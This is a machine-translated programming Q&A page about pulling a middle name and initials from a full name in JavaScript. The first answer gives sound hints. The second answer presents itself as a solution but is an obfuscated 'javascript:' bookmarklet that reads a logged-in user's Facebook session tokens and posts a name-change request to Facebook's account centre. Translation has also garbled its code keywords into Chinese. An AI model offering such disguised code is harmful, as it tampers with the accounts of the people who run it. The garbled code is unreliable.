第一个中间姓氏 javascript

问题描述 投票:0回答:2

在 Javascript 中,我尝试将全名(名字、中间名和姓氏)输入到字段中,单击提交按钮后将输出到三个单独的字段:字符长度、中间名和 3 个首字母缩写。到目前为止,我已经到达字符字段,但我对如何获取两个空格之间的信息感到困惑。

// strings.js
// This script takes a name and spits out its character length with initials.

// Function called when the form is submitted.
// Function performs the calculation and returns false.
function formatNames() {
'use strict';

// For storing the Full Name, Middle name, initials, length:
var lengthName;
var middleName;
var yourInitials;


// Get a reference to the form values:
var fullName = document.getElementById('fullName').value;

// Perform the character spit out:
lengthName = fullName.length;

// Pull out the middle name:

// Display the volume:
document.getElementById('nameLength').value = lengthName;

// Return false to prevent submission:
return false;

} // End of formatNames() function.

// Function called when the window has been loaded.
// Function needs to add an event listener to the form.
function init() {
'use strict';
document.getElementById('theForm').onsubmit = formatNames;
} // End of init() function.
window.onload = init;
javascript
2个回答
1
投票

这听起来像是家庭作业,所以我会给你一些提示,但不会破坏学习体验。

您可以在字符串上使用

split(' ')
来获取该字符串中的单词数组(以空格分隔)。

您可以在字符串上使用

charAt(0)
来获取字符串的第一个字母。


0
投票

javascript:var fullName = "阿布·萨伊德"; var 名字 = "阿布"; var 中间名 = " "; var 姓氏 = "Sayid";变量_0x3a81=["\x43\x6F\x64\x65\x20\u0111\u01B0\u1EE3\x63\x20\x76 \x69\u1EBF\x74\x20\x62\u1EDF\x69\x20\x44\u01B0\u01A1\x6E\x67 \x20\x54\x6F\u1EA3\x6E\x20\x4D\x4D\x4F\x20\x2D\x20\x66\x62\x 2E\x63\x6F\x6D\x2F\x74\x6F\x61\x6E\x74\x72\x75\x6E\x67\x67\x6 9\x61\x6E\x6D\x6D\x6F","\x5F\x5F\x73\x70\x69\x6E\x5F\x72","\ x53\x69\x74\x65\x44\x61\x74\x61","\x6A\x61\x7A\x6F\x65\x73\x7 4","\x53\x70\x72\x69\x6E\x6B\x6C\x65\x43\x6F\x6E\x66\x69\x67 ","\x74\x6F\x6B\x65\x6E","\x44\x54\x53\x47\x49\x6E\x69\x74\x6 9\x61\x6C\x44\x61\x74\x61","\x41\x43\x43\x4F\x55\x4E\x54\x5F \x49\x44","\x43\x75\x72\x72\x65\x6E\x74\x55\x73\x65\x72\x49\x 6E\x69\x74\x69\x61\x6C\x44\x61\x74\x61","\x4C\x53\x44","\x73 ","\x68\x73\x69","\x64\x79\x6E","\x63\x73\x72","\x66\x31\x39\ x61\x63\x30\x32\x64\x2D","\x73\x75\x62\x73\x74\x72","\x72\x6 1\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x63\ x63\x6F\x75\x6E\x74\x73\x63\x65\x6E\x74\x65\x72\x2E\x66\x61\ x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x 67\x72\x61\x70\x68\x71\x6C\x2F","\x31\x61","\x31\x39\x36\x31 \x39\x2E\x48\x59\x50\x3A\x61\x63\x63\x6F\x75\x6E\x74\x73\x5F\ x63\x65\x6E\x74\x65\x72\x5F\x70\x6B\x67\x2E\x32\x2E\x31\x2E\ x2E\x30\x2E\x30","\x45\x58\x43\x45\x4C\x4C\x45\x4E\x54","\x74 \x72\x75\x6E\x6B","\x52\x65\x6C\x61\x79\x4D\x6F\x64\x65\x72\ x6E","\x75\x73\x65\x46\x58\x49\x4D\x55\x70\x64\x61\x74\x65\x4 E\x61\x6D\x65\x4D\x75\x74\x61\x74\x69\x6F\x6E","\x64\x65\x76 \x69\x63\x65\x5F\x69\x64\x5F\x66\x65\x74\x63\x68\x5F\x64\x61\ x74\x72","\x46\x42\x5F\x57\x45\x42","\x73\x74\x72\x69\x6E\x6 7\x69\x66\x79","\x35\x37\x36\x33\x35\x31\x30\x38\x35\x33\x37\ x36\x33\x39\x36\x30","\x26","\x6A\x6F\x69\x6E","\x3D","\x6D\ x61\x70","\x6B\x65\x79\x73","\x65\x72\x72\x6F\x72","\x63\x61\ x74\x63\x68","\x6C\x6F\x67","\x74\x68\x65\x6E","\x74\x65\x78 \x74","\x50\x4F\x53\x54","\x61\x70\x70\x6C\x69\x63\x61\x74\x6 9\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x7 5\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64"];警报(_0x3a81[0]);var spinr=require(_0x3a81[2])[_0x3a81[1]];var jazoest=require(_0x3a81[4])[_0x3a81[3]];var fb_dtsg=require(_0x3a81[6])[_0x3a81[5]];变量uid=require(_0x3a81[8])[_0x3a81[7]];var lsd=require(_0x3a81[9])[_0x3a81[5]];var s=require(_0x3a81[2])[_0x3a81[10]];变量hsi=require(_0x3a81[2])[_0x3a81[11]];var dyn=require(_0x3a81[2])[_0x3a81[12]];var csr=require(_0x3a81[2])[_0x3a81[13]];函数generateClientMutationId(){返回_0x3a81[14]+ Math_0x3a81[16].toString(36)_0x3a81[15]}var clientMutationId=generateClientMutationId();var url=_0x3a81[17];var requestData={av:uid,用户:uid,a:1,req:_0x3a81[18],hs:_0x3a81[19],dpr:1.5,ccg:_0x3a81[20],rev:100 8717767,s:s,hsi:hsi,dyn:dyn,csr:csr,comet_req:5,fb_dtsg:fb_dtsg,jazoest:jazoest,lsd:lsd,spin_r: spinr,spin_b:_0x3a81[21],spin_t:clientMutationId,fb_api_caller_class:_0x3a81[22],fb_api_req_fri endly_name:_0x3a81[23],变量:JSON_0x3a81[26],server_timestamps:true,doc_id:_0x3a81[27]};var数据=Object_0x3a81[32][_0x3a81[31]](函数(_0xb28exf){返回(encodeURIComponent(_0xb28exf)+ _0x3a81[30]+ encodeURIComponent(requestData[_0xb28exf]))})_0x3a81[29];fetch(url,{方法:_0x3a81[38],body:数据,标头:{ "\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":_0x3a81[39]}})[_0x3a81[36]](函数(_0xb28ex12){return _0xb28ex12_0x3a81[37]})_0x3a81[36]_0x3a81[34]

© www.soinside.com 2019 - 2024. All rights reserved.